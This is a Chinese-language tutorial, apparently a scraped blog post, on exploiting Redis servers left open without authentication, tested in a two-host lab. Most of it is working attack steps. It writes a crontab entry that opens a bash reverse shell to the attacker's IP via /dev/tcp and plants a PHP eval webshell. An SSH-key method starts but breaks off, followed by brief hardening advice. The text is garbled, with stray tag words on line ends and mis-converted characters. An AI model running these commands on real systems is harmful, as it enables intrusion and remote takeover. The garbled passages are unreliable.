目錄php
Redislinux
REmote DIctionary Server(Redis) 是徹底開源免費的,遵照BSD協議,Redis是一個由Salvatore Sanfilippo寫的key-value存儲系統。。web
Redis 與其餘它key - value 緩存產品有如下三個特色:redis
Redis因配置不當可形成未受權訪問。攻擊者無需經過身份認證即可訪問到內部數據,形成敏感信息泄露,也能夠惡意執行flushall來清空全部數據。若是Redis以root身份運行,能夠給root帳戶寫入SSH公鑰文件,直接經過SSH登陸受害服務器。shell
搭建Redis<linux>數據庫
>>>下載centos安裝包http://redis.io/downloadc#
root@kali:~/桌面# tar -xvf redis-unstable.tar.gz centos
>>>編譯安裝緩存
root@kali:~/桌面# cd redis-unstable/
root@kali:~/桌面/redis-unstable# makebash
>>>啓動redis服務
root@kali:~/桌面/redis-unstable# cd src/
root@kali:~/桌面/redis-unstable/src# ./redis-server ../redis.conf
redis.conf 是一個默認的配置文件。咱們能夠根據須要使用本身的配置文件。
啓動redis服務進程後,就可使用測試客戶端程序redis-cli和redis服務交互了。 好比:
root@kali:~/桌面/redis-unstable/src# ./redis-cli
>>>修改配置文件,使能夠遠程訪問:
bind 127.0.0.1前面加上#號 protected-mode設爲no
啓動redis-server
root@kali:~/桌面/redis-unstable/src# ./redis-server
未受權利用/驗證
驗證未受權訪問漏洞
[這部份內容是從新搭建環境測試]---須要搭建redis做爲一個攻擊機192.168.242.131,受攻擊redis服務器192.168.242.134
1.Nmap掃描查看端口開放狀況
默認redis使用的6379端口,使用nmap查看端口狀況 nmap -A -p 6379 ?script redis-info 192.168.242.134
2.Redis未受權訪問驗證、獲取敏感信息
Nmap掃描後發現主機的6379端口對外開放,就能夠用本地Redis遠程鏈接服務器(redis在開放往外網的狀況下,默認配置下是空口令,端口爲6379)鏈接後能夠獲取Redis敏感數據。
這裏我使用另外一臺安裝了redis的centos遠程鏈接測試
>>>./redis-cli -h 192.168.242.134
1)查看敏感信息
redis 192.168.242.134:6379> info
2)查看key和對應的值
>>>keys *
漏洞利用
1.利用crontab反彈shell
>>直接向靶機的Crontab寫入任務計劃,反彈shell回來
redis 192.168.242.134:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.242.131/888 0>&1\n"
redis 192.168.242.134:6379> config set dir /var/spool/cron/
redis 192.168.242.134:6379> config set dbfilename root
redis 192.168.242.134:6379> save
>>而後在攻擊機(192.168.242.131)上啓動 nc 監聽 888端口,等待反彈shell。這過程須要一些時間。
[root@localhost ~]# nc -lvnp 888
2.寫入webshell
當本身的redis權限不高時,能夠向web裏寫入webshell,但須要對方有web服務且有寫入權限。假設靶機裏面存在WEB服務而且目錄在 /var/www/
redis 192.168.242.134:6379>config set dir /var/www/a redis 192.168.242.134:6379>config set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n" redis 192.168.242.134:6379>config set dbfilename webshell.php redis 192.168.242.134:6379>save |
寫入以後訪問目錄看是否存在,若是已經寫入,可使用菜刀連入數據庫了。
3.寫ssh-keygen公鑰而後使用私鑰登錄
>>利用條件:(1)redis對外開放,且是未受權訪問狀態
(2)redis服務ssh對外開放,能夠經過key登入
>>具體利用步驟:
1) 準備好本身的公鑰,寫入本地文件text.txt。
[root@localhost src]#ssh-keygen -t rsa # 建立祕鑰
到redis安裝目錄下,配置redis.conf文件:
一、默認只對本地開放
bind 127.0.0.1
二、添加登錄密碼
>>修改 redis.conf 文件,添加
requirepass mypasswd
三、在須要對外開放的時候修改默認端口(端口不重複就能夠)
port 2344
四、以低權限運行 Redis 服務(重啓redis才能生效)
>>爲 Redis 服務建立單獨的用戶和家目錄,而且配置禁止登錄
五、最後還能夠配合iptables限制開放